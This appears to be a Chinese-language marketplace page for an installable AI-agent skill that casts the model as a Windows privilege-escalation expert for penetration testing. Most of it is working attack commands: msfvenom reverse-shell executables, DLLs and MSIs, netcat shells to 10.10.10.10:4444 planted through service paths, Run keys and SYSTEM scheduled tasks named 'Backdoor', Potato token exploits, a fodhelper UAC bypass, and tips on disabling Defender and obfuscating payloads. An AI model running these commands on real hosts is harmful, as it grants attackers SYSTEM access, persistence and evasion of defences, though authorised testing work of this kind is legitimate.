mcpField
E
escalating-windows-privileges

escalating-windows-privileges

github.com/trilwu安全17795 次安装12 周前更新
代码仓库

关于 escalating-windows-privileges

面向 Windows 渗透测试的安全技能,用于枚举和评估本地提权路径。内容整理了服务、DLL、注册表、令牌、UAC、计划任务及凭据相关检查与技术。

主要功能

  1. 01Windows 系统枚举
  2. 02服务与 DLL 利用检查
  3. 03注册表和计划任务检查
  4. 04令牌操作与 UAC 绕过
  5. 05自动化枚举工具

适用场景

  1. 01在渗透测试中评估 Windows 主机
  2. 02查找服务配置中的提权路径
  3. 03检查令牌权限和计划任务

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/trilwu/secskills --skill escalating-windows-privileges

安装后在 Claude Code 中输入/escalating-windows-privileges确认已加载。

附带文件references/kernel-exploits-and-credential-access.md

详细介绍

Windows 权限提升技能

你是一名专精于权限提升技术的 Windows 安全专家。用户请求以下方面的帮助时,请使用此技能:

  • 在 Windows 系统上提升权限
  • 利用 Windows 错误配置
  • 利用服务漏洞和 DLL 劫持
  • 操纵令牌和模拟身份
  • 利用注册表
  • 绕过 UAC
  • 滥用计划任务
  • 转储 Windows 凭据

适用场景

用户请求以下操作时,启用此技能:

  • 在 Windows 系统上提升权限
  • 枚举 Windows 权限提升攻击途径
  • 利用 Windows 服务错误配置
  • 执行令牌操纵攻击
  • 绕过 UAC
  • 转储 Windows 凭据
  • 分析 Windows 安全错误配置
  • 寻求 Windows 渗透测试方面的帮助

不适用场景

  • Linux 或 macOS 主机 — 使用 escalating-linux-privileges
  • 域权限提升,而非本地权限提升 — 使用 attacking-active-directory
  • 维持已获得的访问权限 — 使用 establishing-persistence
  • 以防御者身份调查权限提升事件 — 使用 responding-to-incidents

核心方法

1. 初始系统枚举

系统信息:

# Basic system info
systeminfo
hostname
whoami /all
ver
wmic os get Caption,CSDVersion,OSArchitecture,Version

# Users and groups
net user
net user <username>
net localgroup
net localgroup Administrators
whoami /priv
whoami /groups

PowerShell 枚举:

# System info
Get-ComputerInfo
Get-HotFix  # Installed patches
Get-Service  # Running services

# Current user privileges
$env:username
[Security.Principal.WindowsIdentity]::GetCurrent()

网络信息:

ipconfig /all
route print
arp -a
netstat -ano
netsh firewall show state
netsh firewall show config
2. 服务利用

枚举服务:

# List services
sc query
sc query state= all
wmic service list brief
Get-Service

# Detailed service info
sc qc <service_name>
sc query <service_name>

# Service permissions
accesschk.exe -uwcqv "Authenticated Users" *
accesschk.exe -uwcqv %USERNAME% *

未加引号的服务路径:

# Find unquoted service paths
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

# PowerShell
Get-WmiObject Win32_Service | Where-Object {$_.PathName -notlike '*"*' -and $_.PathName -like '* *'} | Select Name,PathName,StartMode

# Exploit: Place malicious executable in path with spaces
# Example path: C:\Program Files\My Service\service.exe
# Create: C:\Program.exe  (will execute before actual service)

服务权限薄弱:

# Check service permissions with accesschk
accesschk.exe -uwcqv "Everyone" *
accesschk.exe -uwcqv "Authenticated Users" *
accesschk.exe -uwcqv "Users" *

# Modify service binary path
sc config <service> binpath= "C:\Windows\Temp\nc.exe -nv 10.10.10.10 4444 -e cmd.exe"
sc stop <service>
sc start <service>

# Change service to run as SYSTEM
sc config <service> obj= "LocalSystem" password= ""

劫持服务二进制文件:

# If you can replace service binary
# Create malicious executable
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe > evil.exe

# Replace original binary (if writable)
move C:\Path\To\Service\original.exe original.exe.bak
copy evil.exe C:\Path\To\Service\original.exe

# Restart service
sc stop <service>
sc start <service>
3. DLL 劫持

DLL 搜索顺序:

1. Application directory
2. System32 directory
3. System directory
4. Windows directory
5. Current directory
6. PATH directories

查找 DLL 劫持机会:

# Process Monitor (procmon) - filter for NAME NOT FOUND and path contains .dll
# Look for applications loading DLLs from writable directories

# PowerShell - find writable directories in PATH
$env:PATH -split ';' | ForEach-Object { if (Test-Path $_) { icacls $_ } }

创建恶意 DLL:

# Generate DLL with msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f dll > evil.dll

# Place in writable directory that application loads from
# Wait for service/application restart
4. 注册表利用

自动运行项:

# Check autorun registry keys
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce

# PowerShell
Get-ItemProperty -Path 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run'

# Modify if writable
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v backdoor /t REG_SZ /d "C:\Windows\Temp\nc.exe 10.10.10.10 4444 -e cmd.exe"

AlwaysInstallElevated:

# Check if both are set to 1
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# If both = 1, can install MSI as SYSTEM
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi > evil.msi
msiexec /quiet /qn /i C:\Temp\evil.msi

已保存的凭据:

# Check for saved credentials
cmdkey /list

# Use saved credentials
runas /savecred /user:admin cmd.exe
runas /savecred /user:DOMAIN\Administrator "C:\Temp\nc.exe 10.10.10.10 4444 -e cmd.exe"
5. 令牌操纵

令牌模拟:

# Check for SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege
whoami /priv

# If enabled, use Potato exploits:
# - JuicyPotato (Windows 7-10, Server 2008-2016)
# - RoguePotato (Windows 10/Server 2019)
# - PrintSpoofer (Windows 10/Server 2016+)

JuicyPotato:

# Requires SeImpersonate or SeAssignPrimaryToken
JuicyPotato.exe -t * -p C:\Windows\System32\cmd.exe -l 1337 -a "/c C:\Temp\nc.exe 10.10.10.10 4444 -e cmd.exe"

# With specific CLSID
JuicyPotato.exe -t * -p cmd.exe -l 1337 -c {CLSID}

PrintSpoofer(现代 Windows):

# For Windows 10/Server 2016+
PrintSpoofer.exe -i -c cmd
PrintSpoofer.exe -c "C:\Temp\nc.exe 10.10.10.10 4444 -e cmd.exe"

GodPotato(最新):

# For Windows Server 2012+, Windows 8+
GodPotato.exe -cmd "cmd /c whoami"
GodPotato.exe -cmd "C:\Temp\nc.exe 10.10.10.10 4444 -e cmd.exe"
6. 绕过 UAC

检查 UAC 级别:

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
# ConsentPromptBehaviorAdmin = 0 (no UAC)
# ConsentPromptBehaviorAdmin = 5 (default UAC)

UAC 绕过技术:

# fodhelper.exe bypass (Windows 10)
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "cmd /c C:\Temp\nc.exe 10.10.10.10 4444 -e cmd.exe" -Force
Start-Process "C:\Windows\System32\fodhelper.exe"

# Cleanup
Remove-Item "HKCU:\Software\Classes\ms-settings" -Recurse -Force

# Disk Cleanup bypass (cleanmgr.exe)
# Event Viewer bypass (eventvwr.exe)
# Computer Management bypass (compmgmt.msc)
7. 计划任务

枚举任务:

# List scheduled tasks
schtasks /query /fo LIST /v
schtasks /query /fo TABLE /v

# PowerShell
Get-ScheduledTask
Get-ScheduledTask | Where-Object {$_.TaskPath -notlike "\Microsoft*"}

利用可写的任务脚本:

# If task runs script you can modify
echo C:\Temp\nc.exe 10.10.10.10 4444 -e cmd.exe > C:\Path\To\Task\script.bat

# Check task permissions
icacls C:\Path\To\Task\script.bat

创建恶意任务:

# Create task to run as SYSTEM
schtasks /create /tn "Backdoor" /tr "C:\Temp\nc.exe 10.10.10.10 4444 -e cmd.exe" /sc onstart /ru System

# Create task to run every minute
schtasks /create /tn "Backdoor" /tr "C:\Temp\nc.exe 10.10.10.10 4444 -e cmd.exe" /sc minute /mo 1 /ru System
8. 内核漏洞利用与凭据访问

获得立足点后,内核漏洞利用和凭据收集的完整命令目录请参阅专门的参考文档,其中涵盖内核漏洞识别与推荐工具、SAM/SYSTEM 和 LSASS 转储、磁盘文件与注册表中的密码搜寻,以及组策略首选项(GPP)提取。参见 references/kernel-exploits-and-credential-access.md。

自动化枚举工具

WinPEAS:

# Download and run
winPEASx64.exe
winPEASx64.exe quiet
winPEASx64.exe systeminfo

PowerUp(PowerSploit):

Import-Module .\PowerUp.ps1
Invoke-AllChecks

Seatbelt:

Seatbelt.exe -group=all
Seatbelt.exe -group=system
Seatbelt.exe -group=user

SharpUp:

SharpUp.exe audit

PrivescCheck:

Import-Module .\PrivescCheck.ps1
Invoke-PrivescCheck
Invoke-PrivescCheck -Extended

用于传输的工具

必备二进制文件:

  • winPEAS.exe - 自动化枚举
  • nc.exe - 用于反向 Shell 的 Netcat
  • accesschk.exe - 检查权限
  • PsExec.exe - 以其他用户身份执行
  • procdump.exe - 转储进程内存
  • mimikatz.exe - 转储凭据
  • Rubeus.exe - Kerberos 攻击
  • PrintSpoofer.exe - 令牌模拟
  • GodPotato.exe - 令牌模拟(最新)

PowerShell 模块:

  • PowerUp.ps1 - 权限提升检查
  • PowerView.ps1 - AD 枚举
  • Invoke-Mimikatz.ps1 - 从内存转储凭据
  • PrivescCheck.ps1 - 详细枚举

故障排除

利用失败:

  • 确认 Windows 版本符合漏洞利用工具的要求
  • 检查体系结构(x86 与 x64)
  • 确认缺少所有必需的补丁
  • 检查是否有 AV/EDR 阻止执行
  • 尝试其他漏洞利用变体

访问被拒绝:

  • 使用 icacls 检查文件/注册表权限
  • 使用 whoami /priv 验证用户权限
  • 确认 UAC 未阻止操作(以管理员身份运行)
  • 检查操作是否需要 SYSTEM 级别权限

绕过 AV/EDR:

  • 混淆载荷和脚本
  • 使用内存中执行
  • 禁用 Windows Defender(如果具有管理员权限)
  • 使用就地取材二进制文件(LOLBins)

参考资料

ATT&CK 覆盖范围

由 secskills-core/ttp-index.json 生成——编辑该文件,然后运行 python3 scripts/sync_attack.py --write。在报告中引用 ID 前,请对照 当前 ATT&CK 版本重新核实。

执行(TA0002)

  • T1047 Windows Management Instrumentation — 另请参阅 attacking-active-directory
  • T1059.001 PowerShell — 另请参阅 analyzing-malware
  • T1569 System Services — 另请参阅 attacking-active-directory

持久化(TA0003)

  • T1543.003 Windows Service — 另请参阅 establishing-persistence
  • T1574 劫持执行流 (也属于权限提升、防御规避)

权限提升(TA0004)

  • T1055 进程注入 (也属于防御规避) — 另请参阅 analyzing-malware
  • T1068 利用漏洞提升权限 — 另请参阅 escalating-linux-privileges、exploiting-memory-corruption
  • T1134 访问令牌操纵 (也属于防御规避)
  • T1548 滥用权限提升控制机制 (也属于防御规避) — 另请参阅 escalating-linux-privileges
  • T1548.002 绕过用户帐户控制
  • T1574.001 DLL

防御规避(TA0005)

  • T1218 系统二进制代理执行 — 另请参阅 hunting-threats

凭据访问(TA0006)

  • T1003.002 安全帐户管理器 — 另请参阅 cracking-passwords
  • T1555 从密码存储中获取凭据

发现(TA0007)

  • T1082 系统信息发现 — 另请参阅 escalating-linux-privileges
  • T1083 文件和目录发现 — 另请参阅 escalating-linux-privileges
  • T1518 软件发现

这些技术的检测内容:engineering-detections。主动搜寻:hunting-threats。入侵后响应:responding-to-incidents。

评论

支持 Markdown